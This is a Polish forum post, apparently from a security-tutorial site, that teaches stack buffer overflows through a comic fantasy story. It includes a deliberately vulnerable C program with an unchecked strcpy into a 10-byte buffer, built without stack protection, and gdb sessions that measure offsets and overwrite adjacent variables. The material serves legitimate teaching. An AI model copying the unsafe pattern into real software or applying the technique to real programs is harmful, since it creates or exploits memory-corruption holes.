<div align='center'>Promhyland I, czyli przepełnienia bufora
by Magnefikko</div>
Artykuł pochodzi ze strony Promhyl Studies
Link do oryginału: Here
Prolog
Wczesny, deszczowy poranek, piąty maja. Reskel był tam gdzie zwykle o tej porze - w karczmie "Pod Najmynabe Promhylerem". W stanie takim jak zwykle - najynabe. Wszystko byłoby dobrze, gdyby nie fakt że w jego sakiewce pozostało jedynie dziesięć złotych monet. I jak tu pić? Tfu, żyć. I jak tu żyć?
Potrzebował pracy. Praca... skrzywił się słysząc we własnych myślach to obrzydliwe słowo. Jednakże... spojrzał na swój kufel pysznego, ciemnego piwa. Na swoją życiową miłość. Uniósł go na wysokość twarzy, ciesząc się jego widokiem. I z nabożną czcią upił łyk. Tak... to jest to! Dla tego warto żyć! Znów pomyślał o swojej sakiewce... i o p...tfu! O sposobie jej wypełnienia. Westchnął ciężko. Wiedział że jeżeli nie znajdzie Tego-Czego-Nazwy-Nie-Wolno-Wymawiać, popadnie w głęboką depresję. Nie będzie mógł pić.
-Mietek - zwrócił się z ciężkim sercem do karczmarza - czy wiesz gdzie tu można dostać... no wiesz.
Mietek namyślał się przez chwilę. Jego ulubioną rozrywką było słuchanie rozmów gości jego karczmy, więc to i owo wiedział.
-Smok - rzekł po jakimś czasie - wioskę nieopodal regularnie nawiedza smok. Jej mieszkańcy zrzucili się na wiedźmina, jednakże żaden smoka owego tknąć się nie chciał.
-Ile dają?
-Sto złociszy.
-Pięćdziesiąt żulowych mocnych - rzekł z namysłem. Pociągnął jeszcze łyka piwa - którędy do tej wioski?
-Pięć godzin drogi na północ, potem ścieżką na wschód, kolejne dwie.
Reskel kiwnął głową.
Smoki. Istoty bardzo miłe i sympatyczne. Miał już okazję pić z jednym i dobrze wspominał to picie - jak każde z resztą. Jednakże jeżeli smok jest be, a ktoś płaci za jego ubicie, nie ma nad czym się zastanawiać.
Reskel nie był wojownikiem. Nie potrafił nawet utrzymać miecza. Ale był magiem. Fakt że wywalili go z Wiecznego Uniwersytetu za pijaństwo, urządzanie imprez i burdy, ale jednak coś mu w głowie zostało. I z tej wiedzy zamierzał skorzystać.
Pierwsze starcie
Nazajutrz Reskel wkroczył do wioski Zabitodechowo. W plecaku miał zapas piwa i żywności, oraz kilka ksiąg które kiedyś ukradł z biblioteki Wiecznego Uniwersytetu. Porozmawiał z mieszkańcami i ruszył do jaskini smoka.
Rozsiadł się w bezpiecznej odległości, wszedł w trans i przeanalizował sytuację.
promhyland.c
Smok nie zabezpieczył się przed magią. Reskel nie wyczuł obecności Zaklęcia Ochrony Stosu.Kod:#include <stdio.h> int Wygrana(int *Gold, int *Sila){ ****printf("\nPokonales smoka!\nZloto + 100 = %d\nSila + 200 = %d\n", *Gold+100, *Sila+200); *****Gold += 100; *****Sila += 200; ****return 0; } int Smok(int *Sila, int *Gold){ ****printf("Atakujesz smoka!\nTwoja sila: %d\nSila smoka: 5000", *Sila); ****if(*Sila ] 5000) ********Wygrana(Gold, Sila); ****else ********printf("\nSmok Cie zabil!\n"); ****return 0; } int main(int argc, char *argv[]){ ****int Gold = 10;**** ****int Sila = 5; ****char Imie[10]; ****if(argc != 2) ********printf("%s Twoje imie\n", argv[0]); ****else{ ********strcpy(Imie, argv[1]); ********Smok(&Sila, &Gold); ****} }
Wziął zaś patyk i ruszył sprawdzić umiejętności bojowe smoka.Kod:magnefikko@PromhylandSH:~$ gcc -o promhyland promhyland.c -fno-stack-protector -g promhyland.c: W funkcji `main,: promhyland.c:26: ostrzeżenie: niekompatybilna niejawna deklaracja wbudowanej funkcji `strcpy, magnefikko@PromhylandSH:~$
-Smoku! Oto przybywa Reskel, by Cię pokonać!
Jasna cholera! Ała! Ała! Ała!Kod:magnefikko@PromhylandSH:~$ ./promhyland Reskel Atakujesz smoka! Twoja sila: 5 Sila smoka: 5000 Smok Cie zabil! magnefikko@PromhylandSH:~$
Reskel odczołgał się na bezpieczną odległość i użył kilku czarów uzdrawiających. Cud że przeżył ten samobójczy atak.
Przemyślał sytuację...
Zabicie smoka
Reskel postanowił użyć magii do chwilowego zwiększenia swojej siły do takiego stopnia, dzięki któremu mógłby załatwić smoka gołymi rękami. Doszedł do wniosku że może to osiągnąć wykrzykując odpowiednie zaklęcia podczas szarży na smoka, tak jak poprzednio wykrzykiwał swoje imię. Wpadł w trans i zaczął analizować sytuację...
Zwizualizował sobie siebie atakującego smoka. W wizualizacji owej atakując krzyczał "AAAA!" - klasyczny okrzyk wojownika.
Skupił się na momencie tuż po wypowiedzeniu zaklęcia (linia 27) i początku walki ze smokiem (linia 12).Kod:magnefikko@PromhylandSH:~$ gdb promhyland GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later [http://gnu.org/licenses/gpl.html] This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.**Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) list 0 1****** #include [stdio.h] 2 3****** int Wygrana(int *Gold, int *Sila){ 4************** printf("\nPokonales smoka!\nZloto + 100 = %d\nSila + 200 = %d\n", *Gold+100, *Sila+200); 5************** *Gold += 100; 6************** *Sila += 200; 7************** return 0; 8****** } 9 10******int Smok(int *Sila, int *Gold){ (gdb) 11**************printf("Atakujesz smoka!\nTwoja sila: %d\nSila smoka: 5000", *Sila); 12**************if(*Sila ] 5000) 13************Wygrana(Gold, Sila); 14********else 15************printf("\nSmok Cie zabil!\n"); 16********return 0; 17****} 18**** 19****int main(int argc, char *argv[]){ 20********int Gold = 10;**** (gdb) 21********int Sila = 5; 22********char Imie[10]; 23********if(argc != 2) 24************printf("%s Twoje imie\n", argv[0]); 25********else{ 26************strcpy(Imie, argv[1]); 27************Smok(&Sila, &Gold); 28********} 29****} (gdb)
Teraz należało obejrzeć zaklęcie i jego okolice na Stosie Rzeczywistości.Kod:(gdb) break 27 Breakpoint 1 at 0x80484d1: file promhyland.c, line 27. (gdb) break 12 Breakpoint 2 at 0x8048440: file promhyland.c, line 12. (gdb) run AAAA Starting program: /home/magnefikko/promhyland AAAA Breakpoint 1, main (argc=2, argv=0xbf86de74) at promhyland.c:27 27************Smok(&Sila, &Gold); (gdb)
0x41 to w Heksadecymalno ASCIIowym Języku Magii litera "A". Można i prościej:Kod:(gdb) x/40xb $esp 0xbf86dda0:****0xc2****0xdd****0x86****0xbf****0x64****0xf7****0x86****0xbf 0xbf86dda8:****0x41****0xf7****0x86****0xbf****0xae****0x41****0xea****0xb7 0xbf86ddb0:****0xf0****0xdd****0x86****0xbf****0x24****0x97****0x04****0x08 0xbf86ddb8:****0xc8****0xdd****0x86****0xbf****0xec****0x82****0x04****0x08 0xbf86ddc0:****0xf4****0x5f****0x41****0x41****0x41****0x41****0x00****0x08 (gdb) x/s 0xbf86ddc2 0xbf86ddc2:**** "AAAA" (gdb)
Teraz należałoby namierzyć Wartość Magiczną określającą siłę Reskela.Kod:(gdb) x/s Imie 0xbf86ddc2:**** "AAAA" (gdb)
Wartość Magiczna siły Reskela - jak to widać w Kodzie Rzeczywistości - na Stosie Rzeczywistości jest tóż po zaklęciu Reskela.Kod:(gdb) x/d &Sila 0xbf86ddcc:****5 (gdb)
Odległość między Wartością Magiczną siły Reskela a jego Zaklęciem wynosi dokładnie dziesięć Magicznych Głosek. Z tego płynie prosty wniosek, że zaklęcie musi liczyć sobie dziesięć słów, po których w Heksadecymalnej Mowie Magicznej należy wypowiedzieć czterobajtową nową wartość Wartości Magicznej siły. Spróbujmy.Kod:(gdb) p 0xbf86ddcc - 0xbf86ddc2 $1 = 10 (gdb)
Wartość Magiczna siły Reskela została nadpisana wartością 0x41414141 (ASCII - "AAAA"), co w Heksadecymalnej Mowie Magicznej oznacza również liczbę 1094795585. Reskel na chwilę stał się nieprawdopodobnie potężny, i okrutnie napie*lił smoka.Kod:(gdb) q The program is running.**Exit anyway? (y or n) y magnefikko@PromhylandSH:~$ ./promhyland ReskelMageAAAA Atakujesz smoka! Twoja sila: 1094795585 Sila smoka: 5000 Pokonales smoka! Zloto + 100 = 110 Sila + 200 = 1094795985 magnefikko@PromhylandSH:~$
Magiczne złoto
Tak oto Reskel pokonał smoka. Odebrał od mieszkańców wioski swoją nagrodę. Sto złotych monet... ale mógł zdobyć jeszcze więcej złota. Miał na to już dwa pomysły.
Wrócił pod jaskinię smoka i usiadł przy niej. Wprowadził się w trans. Zwizualizował sobie smoka i sprawdził odległość Zaklęcia od Wartości Magicznej Złota.
Czas więc wyczarować trochę złota.Kod:magnefikko@PromhylandSH:~$ gdb promhyland GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later [http://gnu.org/licenses/gpl.html] This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.**Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) break 27 Breakpoint 1 at 0x80484d1: file promhyland.c, line 27. (gdb) run AAAA Starting program: /home/magnefikko/promhyland AAAA Breakpoint 1, main (argc=2, argv=0xbfb8c184) at promhyland.c:27 27**********************Smok(&Sila, &Gold); (gdb) p &Gold - &Imie First argument of `-' is a pointer and second argument is neither an integer nor a pointer of the same type. (gdb) x/d &Gold 0xbfb8c0e0:**** 10 (gdb) x/s Imie 0xbfb8c0d2:******"AAAA" (gdb) p 0xbfb8c0e0 - 0xbfb8c0d2 $1 = 14 (gdb) q The program is running.**Exit anyway? (y or n) y magnefikko@PromhylandSH:~$
Zdaje się że nadpisaliśmy przypadkowo adres powrotny. Ale złota i tak mamy jak lodu.Kod:magnefikko@PromhylandSH:~$ ./promhyland ReskelMageMageAAAA Atakujesz smoka! Twoja sila: 1701273933 Sila smoka: 5000 Pokonales smoka! Zloto + 100 = 1094795685 Sila + 200 = 1701274133 Segmentation fault
Istnieje jeszcze jedna metoda zdobycia darmowego złota. Mianowicie nadpisanie adresu powrotnego tak, by wskazywał na adres funkcji Wygrana(). Ale nią oraz kilkoma innymi zajmiemy się w następnym odcinku.
Pozdrawiam.
Magnefikko
W następnym odcinku: Reskel postanawia zejść z drogi prawa i włamać się do magazynu z winem, czyli ataki z wykorzystaniem ciągów formatujących.
---
Zostawiam na jakiś czas do konstruktywnej krytyki, potem poleci do tutoriali xD


Odpowiedź z Cytatem